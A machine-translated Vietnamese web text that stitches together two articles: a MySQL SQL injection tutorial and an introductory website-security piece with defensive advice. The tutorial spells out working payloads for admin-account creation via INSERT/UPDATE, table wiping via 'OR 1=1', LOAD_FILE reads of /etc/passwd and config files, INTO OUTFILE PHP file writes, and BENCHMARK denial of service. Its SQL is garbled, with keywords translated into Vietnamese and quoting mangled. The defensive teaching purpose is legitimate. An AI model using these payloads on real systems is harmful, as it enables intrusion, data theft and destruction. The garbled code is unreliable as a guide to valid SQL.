bởi vì trong trường hợp này, mật khẩu% phù hợp với bất kỳ thông tin đăng nhập nào

CHÈN & CẬP NHẬT

Tuy nhiên, CHỌN không phải là lỗ hổng SQL duy nhất. INSERT và UPDATE có thể dễ bị tổn thương hơn. Giả sử trang web có khả năng đăng ký người dùng. Truy vấn thêm người dùng mới:

Lỗ hổng của một trong các trường cho phép bạn sửa đổi yêu cầu với dữ liệu cần thiết. Trong trường đăng nhập, thêm người dùng "," mật khẩu ", 1) # để thêm người dùng có quyền quản trị.

INSERT `users` SET` login` = "user", `password` =" password ",` admin` = "0";

Giả sử rằng trường `quản trị` nằm trước trường` đăng nhập`, vì vậy thủ thuật thay thế dữ liệu đứng sau trường `đăng nhập` không hoạt động. Chúng tôi nhớ lại rằng cú pháp của lệnh INSERT cho phép bạn thêm không chỉ một dòng mà còn nhiều dòng. Ví dụ về lỗ hổng trong trường đăng nhập: $ login = user "," password "), (1," hacker "," password ") #

CHÈN VÀO `users` SET (` admin`, `login`,` password`) CÁC GIÁ TRỊ (0, "user", "password"), (1, "hacker", "password") # "," password ") ;

Do đó, 2 mục được tạo, một mục có quyền của người dùng đơn giản, mục còn lại có quyền quản trị mong muốn.

Tình huống tương tự với UPDATE

Thêm các trường bổ sung để thay đổi:

$ login = ",` password` = "", `admin` =" 1

Sau đó, một truy vấn tương tự

CẬP NHẬT `người dùng` SET` đăng nhập` = "ấm đun nước" WHERE `id` = 2;

Được sửa đổi như sau:

CẬP NHẬT `users` SET` login` = "", `password` =" ",` admin` = "1" WHERE `id` = 2;

Chuyện gì sẽ xảy ra? Người dùng có ID 2 sẽ thay đổi thông tin đăng nhập và mật khẩu thành các giá trị trống và nhận quyền quản trị. Hoặc trong trường hợp

$ login = ",` password` = "" WHERE `id` = 1 #

Tên người dùng và mật khẩu quản trị viên sẽ trống.

XÓA BỎ

Mọi thứ ở đây rất đơn giản, không có dữ liệu nào có thể được lấy hoặc thay đổi, nhưng bạn luôn được hoan nghênh nếu xóa phần thừa.

$ id = 1 HOẶC 1 = 1

XÓA khỏi `news` WHERE` id` = "1" HOẶC 1 = 1; // xóa tất cả các bản ghi trong bảng.

Thay vì 1 = 1, có thể có bất kỳ điều kiện đúng nào, đã được đề cập ở trên. Có thể lưu tham số LIMIT, tham số này sẽ giới hạn số dòng bị xóa, nhưng không phải lúc nào cũng có thể nhận xét đơn giản.

XÓA KHỎI `news` WHERE` id` = "1" HOẶC 1 = 1 # LIMIT 1;

Làm việc với các tệp thông qua SQL injection

Tôi thực sự nghi ngờ rằng điều này có thể xảy ra ở đâu đó, nhưng công bằng mà nói thì cần phải mô tả các phương pháp như vậy. Với đặc quyền tệp được bật, các lệnh LOAD_FILE và OUTFILE có thể được sử dụng.

Sự nguy hiểm của chúng có thể được đánh giá từ các truy vấn sau:

SELECT * FROM `news` WHERE` id` = -1 union select null, LOAD_FILE ("/ etc / passwd"), null, null; SELECT * FROM `news` WHERE` id` = -1 UNION SELECT null, LOAD_FILE ("/ home / test / www / dbconf.php"), null, null;

Nhưng đây không phải là kết thúc của tất cả những rắc rối.

SELECT * FROM `news` WHERE` id` = -1 UNION SELECT null, "", null, null FROM `news` into outfile" /home/test/www/test.php ";

Đây là cách chúng tôi viết một tệp có chứa mã PHP. Đúng, ngoài mã, sẽ có thêm một số mục nhập rỗng trong đó, nhưng điều này sẽ không ảnh hưởng đến hiệu suất của mã PHP. Tuy nhiên, có một số điều kiện mà các phương pháp này sẽ hoạt động:

  • Đã bật đặc quyền FILE cho người dùng cơ sở dữ liệu hiện tại;
  • Quyền đọc hoặc ghi các tệp này cho người dùng mà máy chủ MySQL đang chạy đường dẫn tuyệt đối đến tệp;
  • một điều kiện ít quan trọng hơn là kích thước tệp phải nhỏ hơn max_allowed_packet, nhưng vì trong MySQL 3.23, kích thước của gói lớn nhất có thể là 16 mb và trong 4.0.1 trở lên, kích thước gói chỉ bị giới hạn bởi số lượng sẵn có bộ nhớ, tối đa lý thuyết tối đa là 2 GB, điều kiện này thường luôn có sẵn.

dấu ngoặc kép

Dấu ngoặc kép làm cho không thể sử dụng SQL injection trong các biến chuỗi, vì nó tự động thoát khỏi tất cả "và" đi kèm với $ _GET và $ _POST. Nhưng điều này không áp dụng cho việc sử dụng lỗ hổng trong các tham số số nguyên hoặc phân số, mặc dù với sửa đổi rằng nó sẽ không thể sử dụng ". Trong trường hợp này, hàm char sẽ giúp ích.

SELECT * FROM `news` WHERE` id` = -1 UNION SELECT null, char (116, 101, 115, 116), null, null;

DOS thông qua SQL injection.

Tôi gần như đã quên nói và các chuyên gia SQL sẽ xác nhận rằng hoạt động UNION chỉ có thể thực hiện được trong MySQL> = 4.0.0. Những người có dự án trên các phiên bản trước thở phào nhẹ nhõm :) Nhưng không phải cái gì cũng an toàn như thoạt nhìn đâu. Logic của kẻ tấn công đôi khi rất khó làm theo. "Sẽ không thể hack được, vì vậy ít nhất tôi sẽ lấp đầy nó", tin tặc sẽ nghĩ, nhập hàm BENCHMARK cho một truy vấn ví dụ

CHỌN * TỪ `news` WHERE` id` = BENCHMARK (1000000, MD5 (NOW ()));

Tôi mất 12 đến 15 giây. Thêm số 0 - 174 giây. Để biết thêm, tôi chỉ đơn giản là không giơ tay. Tất nhiên, trên các máy chủ mạnh, những việc như vậy sẽ được thực hiện nhanh hơn nhiều, nhưng ... BENCHMARK cho phép bạn tự lồng từng cái một. Như thế này:

CHỌN * TỪ `news` WHERE` id` = BENCHMARK (1000000, BENCHMARK (1000000, MD5 (NOW ())));

Hoặc thậm chí như thế này

CHỌN * TỪ `news` WHERE` id` = BENCHMARK (1000000, BENCHMARK (1000000, BENCHMARK (1000000, MD5 (NOW ()))));

Và số lượng các số 0 chỉ bị giới hạn bởi "lòng tốt" của người quay số chúng.

Tôi nghĩ rằng ngay cả một cỗ máy RẤT mạnh cũng sẽ không thể dễ dàng nuốt được những yêu cầu như vậy.

Kết quả

Đó là tất cả. Trong bài viết này, tôi đã cố gắng che càng nhiều càng tốt các lỗ hổng mà các lập trình viên cho phép khi tạo chương trình sử dụng cơ sở dữ liệu MySQL. Tuy nhiên, tôi chắc chắn rằng đây không phải là một danh sách đầy đủ.

Điều quan trọng là phải nhớ các quy tắc chống lại SQL injection

  • Đừng tin vào BẤT KỲ dữ liệu nào đến từ người dùng. Đây không chỉ là về dữ liệu được truyền bởi các mảng $ _GET và $ _POST. Đừng quên về $ _COOKIE và các phần khác của tiêu đề HTTP. Cần nhớ rằng chúng rất dễ thay thế.
  • Đừng dựa vào tùy chọn "dấu ngoặc kép" của PHP, điều này gây trở ngại nhiều hơn là trợ giúp. Tất cả dữ liệu được chuyển đến cơ sở dữ liệu phải được đánh máy với các trường cơ sở dữ liệu. ($ id = (int) $ _ GET ["id"]) hoặc được bảo vệ bởi các hàm mysql_real_escape_string hoặc mysql_real_escape_string.
  • mysql_real_escape_string không thoát% và _, vì vậy nó không nên được sử dụng cùng với LIKE.
  • Cũng đừng quá tin tưởng vào một mod_rewrite được viết tốt. Đây chỉ là những cách để tạo URL "tiện lợi" và không phải là cách để bảo vệ khỏi việc đưa vào SQL.
  • Tắt báo cáo lỗi.
  • Đừng giúp những vị khách xấu. Ngay cả khi một lỗi được phát hiện, việc thiếu thông tin về nó sẽ gây trở ngại nghiêm trọng cho ứng dụng của nó. Hãy nhớ sự khác biệt giữa giai đoạn phát triển và bản thảo đang làm việc. Lỗi đầu ra và thông tin chi tiết khác - đồng minh của bạn ở giai đoạn phát triển, và đồng minh của kẻ tấn công trong phiên bản làm việc. Bạn cũng không nên ẩn chúng bằng cách comment trong mã HTML, cứ 1000 người truy cập thì sẽ có 1 người tìm thấy những thứ như vậy.
  • Xử lý lỗi.
  • Viết quá trình xử lý các truy vấn SQL theo cách mà thông tin về chúng được lưu trữ trong một số nhật ký hoặc được gửi qua thư.
  • Không lưu trữ dữ liệu truy cập cơ sở dữ liệu trong các tệp không được phân tích cú pháp thành mã bởi PHP.
  • Tôi nghĩ rằng tôi đã không khám phá ra nước Mỹ cho bất kỳ ai, nhưng từ kinh nghiệm của bản thân, tôi có thể nói rằng thực tế này khá phổ biến. Theo quy định, đây là tệp có phần mở rộng * .inc
  • Không tạo một "siêu người dùng" cho cơ sở dữ liệu.
  • Chỉ cấp các quyền bạn cần để thực hiện các tác vụ cụ thể.
  • Trong tìm kiếm, cần hạn chế số lượng ký tự tối thiểu và tối đa là tham số truy vấn.
  • Đối với một người dùng trung thực, từ 3 đến 60-70 ký tự là khá đủ để đáp ứng sở thích tìm kiếm của họ, đồng thời bạn cảnh báo các tình huống khi tập "Chiến tranh và hòa bình" trở thành một truy vấn tìm kiếm.
  • Luôn kiểm tra số lượng bản ghi được trả về sau một truy vấn

Gần 90% các trang web được viết bằng php có một lỗi logic như vậy, đặc biệt là nó có thể được quan sát thấy khi một yêu cầu được thực hiện dựa trên ID nhận được từ người dùng, nếu bạn cung cấp cho tập lệnh một ID không tồn tại theo cách thủ công - chúng tôi sẽ thấy kết quả khá thú vị của một số tập lệnh, thay vì trả về 404, chương trình sẽ không làm gì cả và hiển thị thành một trang trống.

SQL an toàn cho bạn.

Chúng tôi đã phát hành một cuốn sách mới, "Tiếp thị nội dung truyền thông xã hội: Làm thế nào để thu hút sự chú ý của người đăng ký và khiến họ yêu thích thương hiệu của bạn."

Đặt mua

Bạn có chắc trang web của bạn an toàn không? 45% nguồn tài nguyên web của các công ty lớn nhất của Nga là rất quan trọng. Sau khi đọc bài viết này, bạn sẽ có thể thực hiện kiểm tra cơ bản trang web của mình để tìm SQL.

Đầu tiên chúng ta hãy hiểu bảo mật là gì. Bảo mật là trạng thái bảo mật của hệ thống tự động, với điều kiện rủi ro không vượt quá các giá trị có thể chấp nhận được. Đổi lại, rủi ro là sản phẩm của thiệt hại và xác suất. Thiệt hại là gì? Thiệt hại - một đánh giá định lượng về thiệt hại được thực hiện đối với hệ thống. Xác suất, tôi nghĩ, đã quá quen thuộc với mọi người.

Tôi trình bày với bạn một tổng quan toán học ngắn gọn: dựa trên các khái niệm cơ bản này, các rủi ro toán học được tính toán (các lớp bí mật nhà nước được phân chia chính xác theo các nguyên tắc này).

Bạn nghĩ điều này liên quan như thế nào đến việc bảo vệ trang web của bạn? Và đây là cách thực hiện: bạn và tôi biết rất rõ rằng không có xác suất hoàn toàn bằng 0 (tức là, mặc dù với một xác suất nhỏ, ngay bây giờ một vị thần có thể bước ra khỏi màn hình và thực hiện 3 điều ước của bạn).

Tại sao tôi lại nói điều này? Ngoài ra, theo cách tương tự, không có hệ thống nào là không thể bị hack, câu hỏi duy nhất là tài nguyên. Và nếu bạn tiếp cận vấn đề một cách chuyên nghiệp, bạn cần đánh giá thiệt hại có thể xảy ra do truy cập trái phép và thực hiện các biện pháp tương ứng với thiệt hại của bạn.

Có, chúng tôi có thể cài đặt TrueCrypt, mã hóa dữ liệu và mật khẩu của mình. Thiết lập xác thực kép và lưu trữ ổ cứng với tất cả những thứ này trong một boongke được bảo vệ khỏi một cuộc tấn công hạt nhân trực tiếp, nhưng nếu chúng tôi chỉ có mật khẩu từ "Liên hệ" ở đó, thì thiệt hại có thể xảy ra là không thể so sánh với các phương tiện bảo vệ của chúng tôi (trừ khi, của tất nhiên, bạn lưu trữ nó trên VKontakte ”truy cập từ hàng triệu tài khoản ngân hàng của bạn).

Bây giờ, tôi muốn chuyển đến bạn thông tin về các lỗ hổng chính của các trang web.

Các phương pháp cơ bản và các trang web tấn công (lỗ hổng)

  1. Chèn SQL;
  2. CSRF;
  3. Chèn PHP.

Các cuộc tấn công cũng đáng chú ý: chúng không thể được sử dụng để truy cập trái phép, nhưng chúng có thể dễ dàng gây ra thiệt hại không thể khắc phục được.

Trong bài viết này, chúng tôi sẽ xem xét chi tiết lỗ hổng đầu tiên.

SQL Injection

Bây giờ chúng ta cần tìm hiểu một trang web là gì, nó hoạt động như thế nào nói chung. Trang web là một chương trình, trong 90% trường hợp được viết bằng ngôn ngữ lập trình PHP.

Để quản trị trang web thuận tiện hơn, vào đầu những năm 2000, họ bắt đầu sử dụng cơ sở dữ liệu (sau đây gọi là cơ sở dữ liệu), tất nhiên, tất cả thông tin về người dùng đã đăng ký và mật khẩu của họ được lưu trữ. ở dạng mở, nhưng nhiều hơn về điều đó bên dưới. Nhân tiện, ngay cả những gì bạn hiện đang đọc cũng được lưu trữ trong cơ sở dữ liệu.

SQL Injection là gì?

Mọi thứ rất đơn giản. SQL là ngôn ngữ giao tiếp với cơ sở dữ liệu và từ Injection được dịch là "giới thiệu". Nói cách khác, sử dụng SQL Injection, bạn có thể chèn mã SQL tùy ý mà máy chủ sẽ xử lý và đưa ra phản hồi.

Cách tất cả hoạt động: ví dụ

Cơ sở dữ liệu bao gồm các bảng, mỗi bảng có hàng và cột, mọi thứ giống như trong Excel.

Để rõ ràng hơn, hãy xem xét cấu trúc gần đúng của cơ sở dữ liệu trên trang web quen thuộc VK.com

Tất nhiên, mỗi người dùng của VKontakte có một số thông số cá nhân: Tên, Họ, e-mail, ngày đăng ký, v.v. Do đó, mỗi cột chịu trách nhiệm về tham số riêng của nó.

ID | First_name | last_name | mật khẩu | email ....

1 | Paul | Durov | | ....

2 | Vova | Pupkin | | ....

Rất có thể, bạn sẽ quyết định rằng Pasha Durov và Vova Pupkin có một mật khẩu rất phức tạp (lên đến 32 ký tự!), Nhưng trên thực tế, bạn đã nhầm. Ở đó có gì vậy? Đây là cái gọi là giá trị băm, kết quả của hàm băm. Nói một cách dễ hiểu, một mật khẩu được mã hóa (mặc dù điều này không hoàn toàn đúng). Nó dùng để làm gì? Để ngăn chặn hacker dễ dàng lấy được mật khẩu của người dùng. Nhưng cũng có những phương pháp cho việc này. Nếu mật khẩu được mã hóa, đây không phải là sự đảm bảo về tính bảo mật.

Hãy tưởng tượng rằng bạn (chương trình) đến cửa hàng (DB) và hỏi người bán (truy vấn SQL): "Vui lòng cho tôi một gói Marlboro với giá 100 rúp";

Đây là cách nó sẽ trông như thế nào trong SQL:

CHỌN tên sản phẩm TỪ siêu thị TẠI ĐÂU (type = "marlboro" VÀ price = "100") GIỚI HẠN 1

Máy chủ SQL sẽ cung cấp cho bạn câu trả lời cho câu hỏi của bạn và bạn có thể làm bất cứ điều gì bạn muốn với nó. Bằng cách nào đó, bạn có thể sửa đổi thông tin này, tính toán nó hoặc đơn giản là hiển thị nó trên màn hình trình duyệt.

Bây giờ quay lại SQL Injection, như chúng ta đã biết, đây là việc đưa mã tùy ý vào một truy vấn SQL. Đó là, một lỗ hổng tồn tại khi kẻ tấn công có thể đưa mã thực thi của riêng chúng vào.

Tiếp tục đi. Vì vậy, bạn đã đọc Allen Carr và bỏ thuốc lá. Giờ thì vào hàng cực kỳ hữu ích :) Lần này đi thì ... thôi, nói chi đến sữa.

Để không quên, bạn đã viết ra một mảnh giấy: "Một hộp sữa 50 rúp", nhưng bạn có một người bạn (hacker) hút thuốc. Anh ta đã thực hiện một cuộc tấn công SQL và bây giờ dòng chữ ghi: "Một hộp sữa với giá 50 rúp. $ HOẶC một gói Marlboro với giá 100 rúp $"

Bạn đến cửa hàng và đọc từ một mẩu giấy: "Vui lòng cho tôi một hộp sữa 50 rúp hoặc một gói Marlboro với giá 100"

CHỌN tên sản phẩm TỪ siêu thị TẠI ĐÂU (loại = "sữa" VÀ giá = "50") HOẶC (loại = "marlboro" VÀ giá = "100") GIỚI HẠN 1

Người bán nghĩ rằng anh ta không có lý do gì để đi đến tủ lạnh với sữa khi thuốc lá ở gần đó, và đưa chúng đi. Bây giờ bạn đang rời khỏi cửa hàng, và bạn của bạn chỉ chờ bạn mang thuốc lá đến cho anh ta.

Đây là một ví dụ về các cuộc tấn công SQL. Tất nhiên, trên các trang web có vẻ khác. Trang web yêu cầu một thông tin từ cơ sở dữ liệu và bằng cách sử dụng SQL injection, bạn có thể lấy thông tin đăng nhập và mật khẩu, ví dụ: chẳng hạn.

Làm thế nào để một vụ hack xảy ra?

Để hiểu rõ ràng chính xác những gì cần phải làm, chương trình sử dụng truy vấn SQL trong dấu ngoặc kép. Tôi sẽ cho bạn một ví dụ thực tế. Giả sử chúng ta muốn biết bạn của mình bao nhiêu tuổi bằng cách biết tên của anh ấy và gửi tên đó đến biến $ _GET ['name']

Chúng tôi thực hiện yêu cầu:

$ result = mysql_query ("CHỌN tuổi TỪ những người bạn của tôi WHERE name = $ _ GET ['name']");

Ví dụ, chúng ta muốn biết Nastya bao nhiêu tuổi, mặc dù nó không đứng đắn, nhưng cơ sở dữ liệu sẽ cho chúng ta biết tất cả mọi thứ :)

Chương trình sẽ có mã sau:

Mysql_query ("CHỌN tuổi TỪ những người bạn của tôi WHERE name =" Nastya '");

Chúng ta hãy xem xét kỹ hơn phần này. chúng tôi có 2 cặp dấu ngoặc kép.

Cặp đầu tiên biểu thị toàn bộ yêu cầu.

"CHỌN tuổi TỪ những người bạn của tôi WHERE name =" Nastya '"

Cặp thứ hai là viết tắt của tên. Nastya.

Vì vậy, điều gì sẽ xảy ra nếu kẻ tấn công viết không phải Nastya, mà là Nastya ', với một câu trích dẫn ở cuối? Nó sẽ phá vỡ cú pháp của hàm mysql_quevery. Và máy chủ SQL sẽ đưa ra một phản hồi tự nhiên - một lỗi (vì nó không thể xử lý ‘, đó không phải là một hàm).

Bạn có lỗi trong cú pháp SQL của mình; kiểm tra hướng dẫn sử dụng tương ứng với phiên bản máy chủ MySQL của bạn để biết cú pháp phù hợp để sử dụng gần Anastasia "

Nhân tiện, tôi hoàn toàn quên nói với bạn về nhà điều hành để nhận xét. Một trong số đó là hai dấu gạch ngang giống như sau: “-”. Điều gì sẽ xảy ra nếu chúng ta giao nộp Nastya '-?

Một cách chính xác. Tất cả các mục tiếp theo sẽ được bình luận, tức là trích dẫn để đóng hàm mysql_query () được nhận xét. Bây giờ vai trò của nó sẽ được thực hiện bởi câu trích dẫn mà chính chúng tôi đã viết. Đúng vậy, bây giờ chúng ta đến với thú vị nhất. Bằng cách này, chúng tôi có quyền truy cập miễn phí vào cơ sở dữ liệu. Tôi đã đưa ra như một ví dụ về sai lầm đơn giản nhất của một lập trình viên.

Có nhiều kiểu dữ liệu khác nhau trong ngôn ngữ lập trình, có chuỗi (String), có số (Integer), tùy thuộc vào điều này mà bạn cần xây dựng SQL injection một cách chính xác. Nhân tiện, “1” có thể là một chuỗi hoặc một số nguyên.

Đây chỉ là phần nổi của tảng băng chìm, có hàng tá cách để thực hiện các mối đe dọa SQL injection.

Ví dụ về hack trang web

Nó có thực sự đáng sợ như họ nói với bạn? Tôi không thể không đính kèm một ví dụ. Tại đây, chúng tôi quan sát một cửa hàng trực tuyến sử dụng lỗ hổng SQL, đã cho chúng tôi thấy thông tin về phiên bản của máy chủ SQL. Bạn có thể dễ dàng hiển thị thông tin về thông tin đăng nhập / mật khẩu, nhưng chúng tôi không xem xét các phương pháp tấn công và tác động phá hoại, mà ngược lại, các phương tiện bảo vệ (nhân tiện, ban quản trị trang web đã được thông báo về lỗ hổng được tìm thấy). Có một lỗ hổng trong một cửa hàng trực tuyến là không thể chấp nhận được và nếu nó cũng chấp nhận thẻ, nó là không thể chấp nhận. Tin tặc xấu xa (không phải chúng tôi) có thể truy cập trang web và ghi lại chi tiết thẻ ghi nợ / thẻ tín dụng của khách hàng và sau đó sử dụng thông tin cho các mục đích riêng của họ. Vì vậy, bạn nên rất cẩn thận về bảo mật, cả khi tạo trang web và khi mua sắm trực tuyến.

Đây chỉ là một trong những cách mà tin tặc kiếm tiền từ các trang web. Có hàng tá trong số chúng: vi rút, lối vào, chuyển hướng, quảng cáo bổ sung, quảng cáo vô hình trên trang web của bạn… và nhiều hơn nữa… Nếu bạn quan tâm, tôi sẽ rất vui khi viết một bài chi tiết về chủ đề này, hãy viết trong phần bình luận.

Bạn và tôi đã đi đến kết luận rằng có một dự án ít nhiều quan trọng, không nên để xảy ra tình trạng dễ bị tổn thương. Nếu không, vào thời điểm không thích hợp nhất, điều này có thể dẫn đến hậu quả nghiêm trọng. Được rồi, chúng tôi đã tìm ra, nhưng phải làm gì? Đối với một cuộc kiểm toán chuyên nghiệp, bạn nên liên hệ với các công ty chuyên môn, nhưng bây giờ bạn có thể tự mình kiểm tra các lỗ hổng SQL cơ bản. Thông thường, tin tặc sẽ tự động kiểm tra các lỗ hổng bảo mật và bằng cách đóng các lỗ hổng cơ bản, bạn có thể cứu trang web của mình khỏi sự dòm ngó của tin tặc.

Tôi nên làm gì nếu trang web của tôi bị tấn công?

Bằng cách hack một trang web và sử dụng thông tin cho các mục đích riêng của họ, tin tặc để lại các cửa hậu (điểm vào ẩn cho tin tặc). Đây có thể là các tệp có bất kỳ phần mở rộng nào, thậm chí là jpg, nhưng mã php sẽ được mã hóa trong chúng để xâm nhập vào hệ thống. Ngày nay, có rất nhiều php antivirus, chương trình quét hệ thống tệp của trang web của bạn để tìm các tệp đáng ngờ. Tôi có thể giới thiệu phần mềm AI-Bolit miễn phí.

Để kiểm tra tính khả dụng của trang web, bạn cần tải tập lệnh chống vi-rút lên máy chủ của mình và chạy nó, nó sẽ thực hiện phần còn lại cho bạn. Sau khi làm sạch các backdoor, bạn cần phải thu hẹp khoảng trống mà tin tặc đã đến được với bạn. Cập nhật công cụ, plugin, thay đổi mật khẩu, bạn có thể liên hệ với nhà cung cấp dịch vụ cung cấp tệp nhật ký để bạn có thể hiểu chính xác quyền truy cập đã được lấy thông qua những gì. Sau khi đóng kênh thâm nhập và loại bỏ các cửa hậu, mọi thứ sẽ ổn, nhưng mỗi trường hợp là riêng lẻ và yêu cầu cách tiếp cận cá nhân.

Cách bảo vệ trang web của bạn khỏi bị tấn công: kiểm tra cơ bản các lỗ hổng loại SQL

/index.php?id=410

Những thứ kia. bất kỳ URL nào có chứa các tham số đầu vào. Ở đây, biến $ _GET ['ID'] chứa giá trị 140, có thể được chuyển đến máy chủ cơ sở dữ liệu. Những thứ kia. để xác thực cơ bản, bạn sẽ cần thử chèn một trích dẫn và xem trang web của bạn trả lại những gì.

Bảo vệ SQL Injection

Điều quan trọng nhất là lọc dữ liệu đến, ví dụ, trong các tham số tìm kiếm, khi chọn số trang, v.v.

Hãy nêu những điểm chính để bảo vệ trang web của bạn.

* Danh sách trắng là phương pháp tốt nhất để bảo vệ khỏi việc tiêm SQL. Điểm mấu chốt là mã chương trình chứa các giá trị tham số được phép chuyển đến máy chủ SQL, điều này gần như loại bỏ hoàn toàn khả năng tấn công trang web bằng cách sử dụng SQL injection.

Xin chúc mừng! Bạn đã đọc bài viết đến cuối! Tôi nghĩ rằng bài viết này ít nhất sẽ hữu ích một chút cho những người mới làm quen với lập trình viên.

Tôi hy vọng chủ sở hữu trang web không quá sợ hãi. Biết rằng điều chính là hợp tác với các công ty tốt, và không chuyển sang các nhân viên không rõ cá tính.

Nhân tiện, chúng tôi có rất nhiều bài viết-hướng dẫn trong đó có rất nhiều mẹo thực tế với lịch sử nhiều năm thực hành. Tất nhiên, chúng tôi đã nghĩ đến việc thiết lập một danh sách gửi thư theo chủ đề, nhưng đến nay chúng tôi vẫn chưa kịp. Vì vậy, thuận tiện nhất